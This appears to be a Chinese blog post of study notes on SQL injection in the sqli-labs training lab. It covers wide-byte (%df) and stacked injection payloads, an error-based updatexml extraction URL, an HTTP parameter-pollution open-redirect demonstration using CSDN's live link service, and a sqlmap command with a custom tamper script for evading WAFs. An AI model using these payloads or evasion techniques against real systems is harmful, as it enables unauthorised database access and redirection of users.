宽字节注入,堆叠注入,绕过 ,Tamper脚本

宽字节注入 —%df

1.涉及函数

1
2
3
4
5
addslashes()   /函数返回在预定义字符之前添加反斜杠的字符串

mysql_real_escape_string() /函数转义 SQL 语句中使用的字符串中的特殊字符

mysql_escape_string() /转义一个字符串

2.原理
先了解一下什么是窄、宽字节已经常见宽字节编码:

  • 当某字符的大小为一个字节时,称其字符为窄字节.
  • 当某字符的大小为两个字节时,称其字符为宽字节.
  • 所有英文默认占一个字节,汉字占两个字节
  • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

3.逃逸过程:
and被php转义后就是%df
(1)举例命令

1
?id=1%df' and 1=1--+

%df’=>%df'(单引号会被加上转义字符\)
%df'=>%df%5c’(\的十六进制为%5c)
%df%5c’=>縗’(GBK编码时会认为这时一个宽字节)
‘成功逃逸,sql语法正确
3.例题
sql-labs-32关
(1)先找闭合点,输入?id=1’,页面显示1的后面多了 \ z在输入id=1” id=’1’ ,发现单引号后面都有 \ 猜测 \ 把单引号转义了,考虑用宽字节注入%df
image.png
(2)输入id=1%df’后报错,单引号是闭合点。具体代码如下

1
http://192.168.2.2/sqli/Less-32/?id=1%df' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))-- -

结果:
image.png

4.锟斤拷:锟斤拷通常指的是在网络或计算机系统中出现的一串特殊乱码字符,这种现象多出现在字符编码转换过程中。具体来说,锟斤拷出现的原因是因为在将某些字符从GBK编码转换为Unicode编码时,存在一些字符是Unicode无法表示的。为了在Unicode中有一个地方表示这些字符,Unicode官方定义了一个特殊的占位符,即U+FFFD REPLACEMENT CHARACTER。
在UTF-8编码中,这个占位符被编码为EFBFBD。当这些编码被错误地识别为GBK编码时,由于GBK是一个双字节编码,它会把EFBFBD这样的字节序列错误地解释为一个汉字,于是产生了像“锟斤拷”这样的乱码。其中,“锟”对应于EFBF,“斤”对应于BDEF,“拷”对应于BFBD。

堆叠注入

1.堆叠注入的含义
从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
注意不是每个数据库环境都可以支持堆叠注入。
2.MySQL多语句执行

1
2
3
select *from user;select * from emails
select 1,(select group_concat(1,2,3)),3
select 1,2,3 union select 4,5,6

3.例题
sql-labs-38关
源代码中有mysqli_multi_query 可以用堆叠注入
?id=-1’;insert into users(id,username,password) values (‘17’,’Jay’,666’)– +
输入id=17的结果:
image.png

绕过

参数污染

1.同一个参数发出两个值,不同的浏览器会接收不同的参数,参数可能是第一个或者第三个,不可能是中间的

1
2
3
4
5
6
7
8
9
10
?p=usa&p=china
百度1
雅虎2
google 1+2
php/apache 2
flask 1
jsp/tomcat 1
CGI/apache 1
python/apache 1+2
asp/iis

2.例如,在CSDN找一个下载sql server的外链接:https://link.csdn.net/?target=https%3A%2F%2Fwww.microsoft.com%2Fzh-cn%2Fsql-server%2Fsql-server-downloads
将其复制到Yakit软件用URL解码,解码为https://link.csdn.net/?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads
image.png

  1. https://link.csdn.net/?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 后加一个参数target=,即https://link.csdn.net/?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads?target=https://tb.alicdn.com/snapshot/index.html ,为了方便理解,我们把两个target的内容换一下位置,即:https://tb.alicdn.com/snapshot/index.html?target=https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads因为CSDN是用java写的,当点击这个网址时,根据 jsp/tomcat 1 会跳到第一个参数。如下图,从CSDN跳到了淘宝。
    image.png

image.png

常见绕过

详细SQL注入绕过技术见链接:https://cloud.tencent.com/developer/article/1849607

Sqlmap的Tamper脚本

Tamper脚本的介绍:

它允许用户在执行SQL注入攻击时对 payload(攻击载荷)进行修改,以绕过目标服务器的防护机制,如WAF(Web Application Firewall)或IDS(Intrusion Detection System)。这些防护系统通常会检测和过滤掉某些特定的关键字或模式,以防止恶意攻击。Tamper脚本对payload进行转换或编码,使其能够逃避这些检测。

Sqlmap常用命令(面试考)

Image.png

Sqlmap跑sqli-labs 26a关

在vscode中新建1.py 并在它中编写26a关的Tamper脚本,将其复制到kali机的/usr/share/sqlmap/tamper/ 的目录下。在kali的命令窗口运行以下命令;

1
sqlmap -u "http://192.168.2.2/sqli/Less-26a/?id=1" -p id --dbms=MySQL --tamper="1.py" --dbs --batch

成功爆出数据库
Image.png

Contents
  1. 1. 宽字节注入 —%df
  2. 2. 堆叠注入
  3. 3. 绕过
    1. 3.1. 参数污染
    2. 3.2. 常见绕过
  4. 4. Sqlmap的Tamper脚本
    1. 4.1. Tamper脚本的介绍:
    2. 4.2. Sqlmap常用命令(面试考)
    3. 4.3. Sqlmap跑sqli-labs 26a关
|